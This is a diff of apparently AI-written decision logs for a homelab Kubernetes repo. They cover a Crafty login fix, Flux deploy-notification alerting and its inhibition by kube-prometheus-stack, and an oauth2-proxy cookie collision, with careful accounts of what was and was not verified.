+**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
+./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
+non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
+Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
+image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
+retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
+
+## What I verified
+
+- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
+  groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
+  oauth2-proxy admitted the user; Crafty rejected the local credential.
+- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
+  `users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
+  has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
+  created the "homelab" server. `default-creds.txt` is therefore live.
+- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
+  in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
+  emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
+  (**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
+  have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
+  the opposite into the README from the config value alone before measuring it — the config key
+  existing is not the same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
+  `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
+
+## What I did NOT verify
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
+  reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
+  renders correctly, but nobody has signed in through it. The human test is in
+  `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
+  session's read-only probes). **Merging is what deploys, and it will restart the pod** —
+  `strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
+  the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
+  Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still
+  open.
+- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
+  change with no observed failure to point at — the sidecar trace above shows a *working* session,
+  because that browser had not visited another gated app first. It is a latent-bug fix.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
+   off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
+   sat unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
+   two halves differently); the alternative is to accept the `platform-admins` gate as the only
+   throttle and say so.
+3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
+   a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
+   instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
+   which is exactly the shape this repo keeps getting burned by.

decisions/2026-09-29-flux-deploy-notifications.md

@@ -0,0 +1,144 @@
+---
+date: 2026-09-29
+branch: feat/flux-deploy-notifications
+title: Flux deploy notifications — the operator now gets mail when a git change starts rolling out and when it completes
+---
+
+## What changed
+
+The operator was getting **no notification when Flux began applying a git change, and none when it
+finished**. Root cause, measured rather than inferred: `notification-controller` v1.4.0 is running
+(`1/1` ready) and the `Provider`/`Alert`/`Receiver` CRDs are installed and serving `v1beta3`, but
+there are **zero `Provider` and zero `Alert` objects in the entire cluster** (`kubectl get
+providers,alerts -A` → `No resources found`). Nothing in git ever created any. The five `gotk_*`
+rules in `platform/monitoring/alerts.yaml` only cover *failures* (`FluxReconciliationFailure`,
+`FluxResourceSuspended`) — nothing covered the healthy path.
+
+**The obvious fix does not work, and this is the substance of the change.** Neither Flux event can be
+filtered into a deploy signal:
+
+- `ReconciliationSucceeded` is a **heartbeat, not a change signal**. 16 Kustomizations, 15 on
+  `interval: 10m` → **101 such events in one hour**, with the message `Reconciliation finished in
+  324.161192ms, next run in 10m0s` — byte-identical in shape whether the apply changed anything or
+  not. An `Alert` at `eventSeverity: info` would have mailed ~100 times an hour.
+- `Progressing` is worse. Five Kustomizations re-apply the same object on **every** tick — event
+  counts **2505 / 2504 / 2501 / 2495 / 2490** (`apps-vms` → `NetworkPolicy/unifi/default-deny`,
+  `platform` → `CustomResourceDefinition/cdis.cdi.kubevirt.io`, `apps-wave-0/1/2` →
+  `NetworkPolicy/{gitea,nextcloud,seerr}/default-deny`). Anything keyed on `Progressing` would mail
+  five times every ten minutes, forever.
+- `gotk_*` carries **no revision label anywhere** — `gotk_reconcile_condition` 120 series,
+  `gotk_suspend_status` 40, not one with a revision.
+
+The applied **revision** is the only signal that moves when and only when git moves, and it lives in
+object status alone. So:
+
+1. **`platform/monitoring/kube-prometheus-stack.yaml`** — two resources added to the *existing*
+   `kube-state-metrics.customResourceState` config (the Velero-Schedule path, already enabled):
+   `kube_flux_kustomization_info{revision}` + `kube_flux_kustomization_suspended` (from
+   `status.lastAppliedRevision` / `spec.suspend`) and `kube_flux_gitrepository_info{revision}` (from
+   `status.artifact.revision`). Plus the two mandatory read-only `rbac.extraRules` entries, and a
+   `podAnnotations` roll-counter — the chart sets **no checksum annotation** over that ConfigMap, so
+   a config-only edit would have left KSM running the old collector set with the new metrics absent
+   and the new alerts silently inert. Named `kube_flux_*`, never `gotk_*`, for the same reason
+   `kube_velero_schedule_*` is not `velero_*`: these are KSM series about Kubernetes objects.
+   Cost: 33 series.
+2. **`platform/monitoring/alerts.yaml`**, group `platform-health.flux` — `FluxRolloutInProgress`
+   (`severity: info`, **no `for:`**) fires the moment any non-suspended Kustomization's applied
+   revision is not the revision the GitRepository fetched from `main`, and **clears when all have
+   caught up**. Fired mail = "a deploy started"; **resolved mail = "it completed"** — the completion
+   half is delivered by `send_resolved`, not by a second rule. `FluxRolloutStuck` (`severity:
+   warning`, `for: 30m`) is the same expression as the escalation for a rollout that started and
+   never converged.
+3. **Alertmanager** — a dedicated `severity = "info"` route and `email-deploy` receiver, subject
+   `[FLUX] applying|applied — …`. Without it a routine deploy would have arrived subject-lined
+   `[WARNING]` via the catch-all receiver and become indistinguishable from a real fault.
+   `group_by: [alertname]` collapses all 16 Kustomizations into one mail per rollout;
+   `group_interval: 2m` so completion is not held 4m behind the event.
+4. **`platform/monitoring/tests/flux-rollout.test.yaml`** — 6 promtool scenarios, both directions.
+5. **`runbooks/flux-rollout.md`** (+ its `configMapGenerator` entry) and a `kube_flux_` entry in
+   `conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh` whose `require` patterns
+   pin `customResourceState`, both `metricNamePrefix`es, both `apiGroups` and the roll-counter — so
+   deleting any of them fails the gate instead of silently re-inerting the alerts.
+
+Two guards in the expression, each with a test whose only job is to fail if that clause is removed:
+`and on () (count(kube_flux_gitrepository_info…) > 0)` (without it, a missing exporter makes
+`unless on (revision) <empty>` remove nothing and **all 16 Kustomizations alert forever** — the
+permanently-firing mode this repo shipped once already), and `unless on (namespace, name)
+(kube_flux_kustomization_suspended == 1)` (a suspended Kustomization pins an old revision by design
+and would hold the rollout open, so the "applied" mail would never arrive).
+
+## What I verified
+
+Measured against live prod (`--context k3s-prod`) **before** writing anything, and quoted here as
+measured:
+
+- `notification-controller` `1/1`, image `ghcr.io/fluxcd/notification-controller:v1.4.0`;
+  `alerts`/`providers`/`receivers.notification.toolkit.fluxcd.io` all serve `v1beta3` (storage);
+  `get providers,alerts -A` → **`No resources found`**. This is the defect.
+- Event counts above, from `kubectl get events -A -o json` filtered to `toolkit.fluxcd.io`
+  involvedObjects: 101 `Kustomization/ReconciliationSucceeded`, 10 `Progressing`, 15
+  `DependencyNotReady`, 4 `GitRepository/GitOperationSucceeded`, 1 `NewArtifact`.
+- The `gotk_*` family **is** in the TSDB now (`flux-podmonitor` works): 6 targets up in job
+  `flux-system/flux-system`, `gotk_reconcile_condition` 120 series, `gotk_suspend_status` 40
+  (`{kind="Kustomization"}` = 16) — and none carries a revision.
+- `customResourceState` already works end to end: `kube_velero_schedule_{created,paused,
+  protects_volume_data,info}` = 2 series each.
+- Both CRDs serve **`v1` as the storage version**; `GitRepository/flux-system`
+  `.status.artifact.revision` = `main@sha1:b93594b7c85aeec4d28e008b239d61d181e1e6de`, `spec.interval`
+  `1m`; all 16 Kustomizations report that same `lastAppliedRevision`; **none** sets `spec.suspend`
+  (which is why `nilIsZero: true` is mandatory).
+- Reachability for the follow-up below: `flux-system/allow-egress` is `egress: [{}]` (allow-all) and
+  the `monitoring` namespace has **no NetworkPolicy at all**, so nothing blocks flux-system →
+  `kube-prometheus-stack-alertmanager` (`10.43.60.242:9093`).
+- `promtool test rules` on the new suite: **SUCCESS**, 53 rules parsed, promtool 3.14.0 from the
+  pinned toolbox. All 6 scenarios pass, including both guard tests and the convergence test that
+  proves the alert empties itself (the completion mail).
+- Full gate in the pinned toolbox: `lint`, `l0`, `render-golden`, `l1`, `decisions-log`,
+  `spec-immutability` all **green** — `l0` includes `alert-metrics-have-scrape-targets`,
+  `alert-rules-unit-tested` and `alert-runbooks-resolvable`, i.e. the new owner entry, the new tests
+  and the new runbook all cleared their own checks. Coverage 51/51.
+
+## What I did NOT verify
+
+- **No mail has been sent.** Nothing here has run on the cluster: the metrics do not exist yet, the
+  rules are not loaded, and the `email-deploy` receiver has never delivered. The end-to-end claim
+  ("a merge produces an `[FLUX] applying` mail and then an `[FLUX] applied` mail") is **UNVERIFIED**
+  and can only be proven by merging this and watching the *next* commit. Agents cannot apply, and
+  CI has no cluster (`vars.CLUSTER_AVAILABLE` unset → L2/L3 did not run).
+- **The KSM custom-resource-state paths are asserted, not observed.** I verified the CRD storage
+  versions and that each status field is populated on the live objects, but I have not seen KSM emit
+  `kube_flux_*`. If a path is wrong KSM emits the metric with the label **omitted**, `revision!=""`
+  then drops the series, and the alerts go quiet rather than wrong — the safe direction, but the
+  first thing to check after merge:
+  `count by (__name__) ({__name__=~"kube_flux.*"})` must return **three** names.
+- **KSM memory was not re-measured.** Limit is 384Mi against a working set of ~111–123Mi; this adds
+  two small informers (16 + 1 objects). 91 OOMKills followed the *last* CRS addition at a 128Mi
+  limit, so re-measure `max_over_time(container_memory_working_set_bytes{container="kube-state-metrics"}[6h])`
+  after this settles rather than assuming the headroom holds.
+- **Alertmanager's `.Status` subject template is untested.** `[FLUX] applying|applied` relies on
+  `.Status` being `firing`/`resolved` in the notification template data. Wrong, and the mail still
+  arrives with a poorer subject — cosmetic, but unproven.
+- **The `notification-controller` `Provider`/`Alert` half is designed but NOT shipped.** It was cut
+  deliberately: its unique value over the rules above is the human-readable **commit subject**
+  (`GitRepository`/`NewArtifact`, count 1 per commit, message `stored artifact for commit '<subject>'`,
+  revision in `source.toolkit.fluxcd.io/revision` metadata), and notification-controller has **no
+  SMTP provider**, so it must post into Alertmanager via `type: alertmanager` at
+  `http://kube-prometheus-stack-alertmanager.monitoring.svc:9093/api/v2/alerts`. I could not
+  establish **what label set that provider actually emits** (whether it sets `alertname`, and whether
+  `severity` is `info`) without applying it, and the `email-deploy` route matches on `severity`. So
+  the route design would have rested on a guess. Follow-up: apply it, read the resulting labels off
+  Alertmanager, then wire the route — and put it in its **own `wait: false` Flux Kustomization**
+  (never `platform` or `platform-config`, both `wait: true`), because a notification mechanism that
+  cannot go Ready must never be able to stall the delivery graph, which is the twice-shipped
+  cold-start deadlock this repo already documents.
+- **The 2500-count drift loop is NOT fixed, and is not mine.** Five Kustomizations have been
+  re-applying the same object every 10 minutes for ~25 days: something outside git is mutating
+  `NetworkPolicy/{unifi,gitea,nextcloud,seerr}/default-deny` and
+  `CustomResourceDefinition/cdis.cdi.kubevirt.io` after Flux applies them. Cause **UNVERIFIED** —
+  I only measured the event counts. It is a real defect (constant write load on the API server and
+  etcd, on a cluster with a known etcd I/O problem on prod-1) and it deserves its own branch. The
+  alerts here are immune to it by construction: they read revisions, not events.
+- **Branch protection / runner state re-measured? No.** The `gitea-settings` stage **SKIPPED**
+  (`SETTINGS_API_TOKEN` unset), so whether `main` is still protected and the gate still required is
+  UNVERIFIED by this run. The gate's overall verdict is therefore **rc 3, not rc 0** — every stage
+  that ran is green, and one stage did not run.

decisions/2026-09-30-flux-deploy-notification-inhibited.md

@@ -0,0 +1,95 @@
+---
+date: 2026-09-30
+branch: fix/flux-deploy-notification-inhibited
+title: The deploy notification routed correctly and was then inhibited before sending — `severity: info` is a suppressed class in kube-prometheus-stack
+---
+
+## What changed
+
+`FluxRolloutInProgress` (shipped hours earlier in PR #25) fired correctly on the very first real
+deploy and **its mail was suppressed before Alertmanager sent it**. One label changed:
+
+- `platform/monitoring/alerts.yaml` — `FluxRolloutInProgress` now carries `notification: deploy` and
+  **no `severity` label at all**, where it previously carried `severity: info`.
+- `platform/monitoring/kube-prometheus-stack.yaml` — the deploy route matches
+  `notification = "deploy"` instead of `severity = "info"`. Receiver, subject and grouping unchanged.
+- `platform/monitoring/tests/flux-rollout.test.yaml` — the three `FluxRolloutInProgress` `exp_labels`
+  blocks updated. `FluxRolloutStuck` keeps `severity: warning` and is unaffected.
+
+**The mechanism, measured rather than reasoned about.** kube-prometheus-stack's `general.rules`
+ships:
+
+    InfoInhibitor:
+      group by (namespace) (ALERTS{severity="info"} == 1)
+        unless on (namespace) group by (namespace)
+          (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+
+which fires for any namespace holding a firing `severity="info"` alert **and nothing else wrong in
+it**. The chart's third `inhibit_rule` then drops exactly that alert:
+
+    source_matchers: [alertname="InfoInhibitor"]
+    target_matchers: [severity="info"]
+    equal:           [namespace]
+
+For a deploy notification this is the worst possible interaction, because the suppressed case is the
+*only* case that matters: on a healthy rollout of a healthy cluster, `flux-system` holds no warning
+or critical alert, so `InfoInhibitor` fires and the deploy mail is inhibited. It would have been
+delivered only when something else in `flux-system` was already broken.
+
+Upstream's intent is explicit and reasonable — `severity: info` means "only worth showing next to a
+real problem". A deploy notice is not that, so it must not claim that severity. `notification` is a
+label **no** `inhibit_rule` in the chart targets (all three match on severity values), and dropping
+`severity` also stops `InfoInhibitor` firing for `flux-system` at all rather than merely working
+around it. Both files carry the full reasoning inline, and `alerts.yaml`'s design header now names
+the severity label as a third thing that must not regress — "do not tidy this by adding a severity"
+— because the next reader's instinct will be to add one back.
+
+## What I verified
+
+Against live prod, after PR #25 merged as `64c72fd` and Flux converged:
+
+- **The metrics work.** `kube_flux_kustomization_info` 16, `kube_flux_kustomization_suspended` 16,
+  `kube_flux_gitrepository_info` 1 = **33 series, exactly as designed**. The `revision` label IS
+  populated (`main@sha1:296d6d3…` / `…64c72fd…`), so the `status.lastAppliedRevision` /
+  `status.artifact.revision` paths are correct — previously UNVERIFIED.
+- **The `podAnnotations` roll mechanism works.** The KSM pod carries
+  `homelab.keithjackson.dev/crs-config-rollout: 1` and is a new pod
+  (`…-7b56d98f46-56n8j`, replacing the 2026-09-19 one), so the config-only-change trap was
+  genuinely closed rather than merely documented.
+- **The rule works, in both directions.** It fired for **12** lagging Kustomizations while 4 had
+  converged (`count by (revision)` → 12 old / 4 new), each alert carrying its own `name` and
+  `revision`; then the rollout converged (`count(count by (revision) (…))` → **1**) and the alert
+  **cleared**. Firing and self-clearing are both confirmed on real data, which is the completion
+  notification's whole mechanism.
+- **The routing works.** `amtool config routes` shows
+  `{notification="deploy"} → receiver: email-deploy` under the default route, and
+  `amtool config routes test notification=deploy` returns `email-deploy`.
+- **The inhibition was real.** `InfoInhibitor` went active `2026-09-30T04:58:48Z` — the same moment
+  the alert began firing — and `amtool alert query` showed **no** `FluxRolloutInProgress` in
+  Alertmanager, active or `--inhibited`. `alertmanager_notifications_failed_total{integration=email}`
+  is 0 for every reason, so nothing failed to send; it was never dispatched.
+- promtool: **SUCCESS**, 53 rules, 6 scenarios, promtool 3.14.0 in the pinned toolbox.
+
+## What I did NOT verify
+
+- **No deploy mail has been observed in the inbox — this fix is UNVERIFIED end to end.** The
+  suppression was proven (nothing in Alertmanager, zero send failures) and the routing was proven
+  (`amtool config routes test` → `email-deploy`), but the delivered message is not. It can only be
+  proven by merging this and watching the next commit produce `[FLUX] applying` and then
+  `[FLUX] applied`. Same structural gap as PR #25, one layer further along.
+- **Whether the single email during the window was ours.**
+  `alertmanager_notifications_total{integration="email"}` went 226 → 227 while other alerts
+  (`Watchdog`, `CNPGPrimariesCoLocated`) were also active, and that counter carries no receiver
+  label, so the increment cannot be attributed. I am NOT claiming our mail was or was not sent — the
+  attribution is genuinely unavailable from this metric.
+- **Whether `InfoInhibitor` interacts with `FluxRolloutStuck`.** Stuck is `severity: warning`;
+  inhibit_rule 1 (`critical` → `warning|info`) requires an equal `alertname`, so it should not
+  apply — reasoned, not measured. Worth confirming the first time a rollout genuinely hangs.
+- **The `[FLUX] applying|applied` subject template** is still untested; `.Status` is assumed to be
+  `firing`/`resolved` in the notification template data.
+- **`required_approvals` disagreement, unresolved and not mine to settle.** Live branch protection
+  reads `required_approvals: 1`, while the `ci/gate.sh` comment introduced by PR #17 describes the
+  model as `required_approvals: 0` ("the gate is the approver"). `ci/gitea-settings.sh` may report
+  this as drift against `infra/gitea/expected-branch-protection.json`. Flagged only.
+- **The drift loop is still unexplained.** Five Kustomizations re-applying the same object every
+  10 minutes (event counts ~2500) — untouched, cause unknown, still deserves its own branch.

decisions/2026-09-30-jackett-oauth2-proxy-session.md

@@ -0,0 +1,273 @@
+---
+date: 2026-09-30
+branch: fix/jackett-oauth2-proxy-session
+title: Jackett — radarr's oauth2-proxy deletes jackett's session cookie; the fix cannot be made per-app
+---
+
+## What changed
+
+Reported as *"GET requests work, but most PUT/POST requests to add indexers fail. Reloading the page
+never fixes it, and I am never re-prompted for login if it is a login issue."*
+
+**This branch lands the diagnosis and a runbook. It does NOT land the manifest fix, and that is a
+deliberate stop, not an omission** — see *The fix has one home and it is shared*, below.
+
+Three mechanisms, all measured. **Weighting matters here, so it is stated up front:** mechanisms 2
+and 3 are demonstrated from Jackett's own access log and **between them fully explain the report as
+written** — PUT/POST fail, the operator is never re-prompted, and a reload does not help. Mechanism 1
+is a real, firing defect that Jackett genuinely violates, and it explains the *intermittency* on top;
+I demonstrate the mechanism and one three-second causal adjacency, not a population of them. Fix all
+three; do not rest the case on the first.
+
+**1. Cookie collision — the mechanism is firing, and Jackett is a genuine violator.** Six oauth2-proxy
+instances (seven pods) emit oauth2-proxy's **default** cookie name `_oauth2_proxy` scoped to
+`.home.keithjackson.dev` while holding seven **different** cookie-secrets. The ping-pong is in two
+pods' own logs, interleaved to the second:
+
+    15:23:17  radarr   [AuthSuccess]                                   -> radarr writes _oauth2_proxy
+    15:23:44  jackett  "cookie signature not valid, removing session"  -> re-login #1
+    15:23:58  radarr   "cookie signature not valid, removing session"  -> radarr DELETES jackett's
+    15:27:17  jackett  [AuthSuccess]                                   -> re-login #2
+    15:27:59  radarr   "cookie signature not valid, removing session"
+    15:31:06  jackett  [AuthSuccess]                                   -> re-login #3
+    15:31:29  radarr   "cookie signature not valid, removing session"  <- deletes it again
+    15:31:32  jackett  "No valid authentication in request"            <- 3 SECONDS later, no cookie
+
+`removing session` is oauth2-proxy calling ClearSession, which expires the cookie on **its own**
+`--cookie-domain` — the whole zone. So jackett's session is not merely overwritten, it is **deleted
+by a process in another namespace**, 26 s after a clean login whose own `expires` was five minutes
+out. That is the answer to the open question in the brief ("26 s is well inside the 5-minute window,
+so plain expiry does not explain it"): it was never expiry, and it was never Jackett.
+
+It also explains the half of the report that looked like user error. **Reloading genuinely does not
+help**, because the operator's Radarr tab re-clears the cookie seconds after each new login — and
+Radarr is not a passive tab. Its UI polls: of 156 unauthenticated requests in its log against
+**1** AuthSuccess, the top paths are `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+`/signalr/messages/negotiate` (43). Every one of those polls, arriving with a cookie Radarr cannot
+decrypt, calls ClearSession again. **A left-open Radarr tab is a cookie-deletion engine firing every
+few seconds**, which is why Jackett's sessions die at irregular, short, apparently random intervals.
+
+**A counter-hypothesis was put to me and it does not survive bounding.** The observation was that
+Crafty already carries this fix yet showed the platform's worst failure ratio (81:1 over 24 h from
+Loki), implying the fix does not work. But Crafty's pod started **2026-09-30T03:57:19Z with 0
+restarts**, so a 24 h window is ~10 h of the *pre-fix* pod. Rather than bound it in Loki I read the
+ratio off the pod's own log, whose boundary is the process start and therefore exact: **inside the
+fixed pod's entire 13 h 52 m lifetime, Crafty logged 3 `No valid authentication` events, not 81** —
+from one client IP, two of them WebSocket `/ws` reconnects, in two isolated minutes (04:02 and
+15:22), against 0 AuthSuccess because nobody signed in. Post-fix Crafty is idle, not broken. The
+ratio metric is confounded by endpoint type — apps that poll or hold WebSockets (Radarr, Crafty)
+manufacture failure lines at their retry rate — so it ranks *chattiness*, not breakage. Correctly
+bounded, Crafty is evidence **for** the fix.
+
+**2. Session lifetime pinned to a 5-minute access token.** Measured from the sidecar's own
+`[AuthSuccess]`: `created:15:31:06.391860254` / `expires:` + **300.000 s** exactly, with
+`refresh_token:true` on the same line. `--cookie-refresh` is unset and its default is `0`
+(disabled), so the proxy holds a refresh token it has no mandate to spend.
+
+**3. XHRs answered with 302 instead of 401 — why none of it was visible.** oauth2-proxy's built-in
+AJAX guard fires only on an **exact** `Accept: application/json`, which Jackett's jQuery does not
+consistently send. Measured on `/api/` paths in this pod's log: **33 × 302 against 2 × 401**, and the
+split runs straight through Jackett's own POSTs (`/api/v2.0/server/adminpassword` → 401,
+`/api/v2.0/server/update` → 302). A 302 on an unauthenticated XHR is followed invisibly by the
+browser, satisfied silently by the live Keycloak SSO session, and resolves with HTML where the
+JavaScript expected JSON — no prompt, no error. On a write it is worse: a browser following a 302
+re-issues a POST as a **GET and drops the body**, so the indexer configuration is discarded with
+nothing logged as a failure anywhere.
+
+### The fix has one home, and it is shared — this is the blocker
+
+The brief assigned me `apps/wave-0/jackett.yaml` as exclusively mine, and assigned the other four
+apps to a sibling branch. **That split is not implementable, and I found out by trying it.**
+
+`apps/wave-0/jackett.yaml` is a **generated golden**. The sidecar's argument list is built by one
+shared function, `_oauth2_sidecar_container()` in `catalog/render.py`. `catalog/jackett.yaml`
+declares only `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`
+— **there is no per-app override hook**. I wrote the fix into the rendered file first; the merge
+gate rejected it exactly as designed:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render
+    [fail] stage render-golden: FAIL          ->  MERGE GATE: BLOCKED   (rc 1)
+
+So I made the change at its real source instead and **measured the blast radius** before committing
+to it. A change confined to that one function rewrites the sidecar block in **all five** rendered
+apps, and `render-golden` requires all five be regenerated in the same commit:
+
+    CHANGED: apps/wave-0/jackett.yaml
+    CHANGED: apps/wave-0/pihole.yaml
+    CHANGED: apps/wave-0/qbittorrent.yaml
+    CHANGED: apps/wave-1/radarr.yaml
+    CHANGED: apps/wave-1/sonarr.yaml
+
+Four of those five are the files I was explicitly told not to touch, and all four are being edited
+right now on `fix/oauth2-proxy-cookie-collision-fleet`. **The gate and the ownership boundary are in
+direct contradiction**: I cannot fix Jackett's sidecar without regenerating four files another
+branch owns, and two branches rewriting the same generated block across five files is precisely the
+cross-branch conflict this repo's §7 exists to prevent.
+
+I stopped rather than force it. **The cookie fix is one change, not five**, and it should be re-cut
+as a single renderer commit on one branch. The intended content, validated below:
+
+    --cookie-name=_oauth2_proxy_{name}        # per-app, derived
+    --cookie-domain={host}                    # host-scoped, derived
+    --whitelist-domain=.{ZONE}                # unchanged: redirect targets, not cookie scope
+    --cookie-refresh=2m30s                    # half the measured 300 s token lifetime
+    (drop --pass-access-token, --set-xauthrequest)
+
+`--api-route=^/api/` is the one flag I would **not** apply renderer-wide on this evidence: I
+measured the 302/401 split on Jackett only, and PiHole's UI does not serve `/api/` at all. It needs
+either a per-app hook or four more measurements.
+
+**Metrics — asked for, and declined here for the same structural reason, not on merit.** It is true
+and I re-measured it: **no per-app sidecar exposes metrics**. Only the shared proxy carries
+`--metrics-address=0.0.0.0:44180` and a `metrics` container port; jackett, pihole, qbittorrent,
+radarr, sonarr and crafty all have `(ABSENT)` and ports `['http']` alone, so the listener never
+starts and nothing about these gates is scrapable. Adding it is worth doing and the pattern is
+already proven in-tree by the shared proxy. But it is **not** "inside my file": the container's
+`args` *and* its `ports` both come from `_oauth2_sidecar_container()`, so adding
+`--metrics-address` plus a `metrics` port hits the identical five-file blast radius as the cookie
+change. It belongs in the same single renderer commit — which is an argument for cutting that commit
+soon, not for me to hand-edit a golden a second time after the gate already refused the first.
+(Crafty is separately hand-written and could take the metrics flag on its own.)
+
+**Crafty is unaffected by all of this** — its sidecar is hand-written in
+`platform/crafty/deployment.yaml`, not rendered, which is why it could be and was fixed alone on
+2026-09-29.
+
+### What this branch does land
+
+`runbooks/oauth2-proxy-session.md` — the four sidecar log lines that tell Keycloak, the sidecar and
+the app's own login apart (including the upstream `-` field that means the proxy answered a request
+the app never saw), the cookie-collision cross-log diagnosis, the 5-minute-session check, the
+302-vs-401 trap, and the generated-golden warning with its measured blast radius. Registered in the
+runbooks `configMapGenerator` **and** listed in `runbooks/README.md`, so the URL resolves rather
+than the file merely existing.
+
+## What I verified
+
+- **The collision is the live failure.** `[stored_session.go:94] Error loading cookied session:
+  cookie signature not valid, removing session` — **1 occurrence in jackett's log (15:23:44), 8 in
+  radarr's** (15:22:49, 15:23:58, 15:27:59, **15:31:29**, 15:32:29 ×4), and **zero** in pihole,
+  qbittorrent, sonarr, crafty and both shared-proxy replicas. The 15:31:29 → 15:31:32 pair is the
+  operator's whole report.
+- **Six instances / seven pods are in the collision set** — the brief said five; the shared
+  forward-auth proxy in namespace `oauth2-proxy` is the sixth and runs 2 replicas. Read from live
+  pod specs: jackett, pihole, qbittorrent, radarr, sonarr and `oauth2-proxy` all have **no**
+  `--cookie-name` argument and `--cookie-domain=.home.keithjackson.dev`. Only crafty is fixed.
+- **All seven cookie-secrets differ.** Compared in-cluster by sha256, first 12 hex only, values
+  never printed: `d9c5…`/`0b3b…`/`b025…`/`bb6a…`/`25f4…`/`e679…`/`911a…`. So no two of these proxies
+  can read each other's cookie — the precondition for the eviction.
+- **The 5-minute lifetime**, from four `[AuthSuccess]` lines: `expires − created = 300.000 s`, with
+  `refresh_token:true` and `groups:[platform-admins]`. Live args confirm `--cookie-refresh` absent.
+- **The 302/401 split** on `/api/` paths in this pod's log: 33 × 302, 18 × 200, 2 × 401, 2 × 204.
+- **4 of the 6 POSTs never reached Jackett** — the access log's upstream field is `-`, not `/`:
+  `adminpassword` → 401, `adminpassword` → 401, `server/update` → 302, `server/update` → 302. The
+  two that did reach it (`adminpassword`, `indexers/1337x/config`) carry the authenticated email.
+- **The proposed argument list starts, against the pinned image and the real issuer.** Ran
+  `quay.io/oauth2-proxy/oauth2-proxy:v7.8.1` locally with the full proposed args; OIDC discovery
+  against `keycloak.home.keithjackson.dev` succeeded and it printed back its own reading:
+  `Cookie settings: name:_oauth2_proxy_jackett secure(https):true httponly:true expiry:168h0m0s
+  domains:jackett.home.keithjackson.dev path:/ samesite: refresh:after 2m30s` and
+  `API route - Path: ^/api/`.
+- **`--api-route` is singular.** The brief specified `--api-routes`, which does not exist in v7.8.1;
+  the proxy would have refused to start. Read off `--help`.
+- **`--session-cookie-minimal` is mutually exclusive with `--cookie-refresh`** — provoked, not
+  assumed: `invalid configuration: cookie_refresh > 0 requires oauth tokens in sessions.
+  session_cookie_minimal cannot be set`. This kills the brief's premise that dropping
+  `--pass-access-token` shrinks the cookie: only `--session-cookie-minimal` strips tokens from the
+  session, and it is unavailable while refresh is on. Dropping those two flags is justified on
+  **least privilege and inertness**, not size.
+- **`--set-xauthrequest` is inert here**: HTTPRoute `jackett-9117` backendRef is
+  `Service/jackett port 4180`, there is no ext-authz attachment on the `shared` Gateway, so
+  `/oauth2/auth` is never called.
+- **`apps/**` is generated and the fix cannot be scoped to one app** — both halves measured, not
+  inferred: the gate's `render-golden` stage rejected the hand-edit, and re-rendering after a
+  renderer-only change listed all five apps as changed (transcript above).
+- **Crafty's post-fix failure rate, bounded exactly.** Pod `crafty-647c7d8cc5-5spv9`,
